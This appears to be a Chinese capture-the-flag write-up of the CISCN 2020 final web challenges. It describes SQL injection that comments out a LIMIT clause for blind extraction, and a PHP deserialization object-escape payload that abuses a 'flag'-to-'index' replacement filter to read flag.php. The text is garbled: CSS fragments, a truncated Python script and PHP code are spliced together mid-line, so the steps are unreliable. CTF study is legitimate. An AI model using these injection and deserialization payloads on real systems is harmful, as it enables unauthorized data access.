行业新闻

对ciscn final的web的小解析

对ciscn final的web的小解析

本文首发于“合天智汇”公众号 作者:HhhMweb1输入1点击输入框后会显示如下参数:
?id=1!-- 
$query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
//$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit";
-->会发现左右过滤不相同,尝试如下可以把limit语句注释掉:
id=1/*padding:3px 4px;background-color:#f6f6f6">from(1)for(1)的形式来绕过。盲注脚本:
# conding=utf-8# ciscn2020 web1 blindimportrequests

req =requests.session()url ="http://ip:port/?id={0}returnpreg_replace($waf,'index',$string);}至于从哪里进行序列化串的传入,看到:先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index:本地模拟一下过waf会发现这里长度980其实就是index的长度总和:那么余下的序列化串理所当然就逃逸出去了。
update_username=1s:1:"1";O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";s:0:"";}s:5:"email";'.'O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";s:0:"";}&update_age=gophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergopher																			
关闭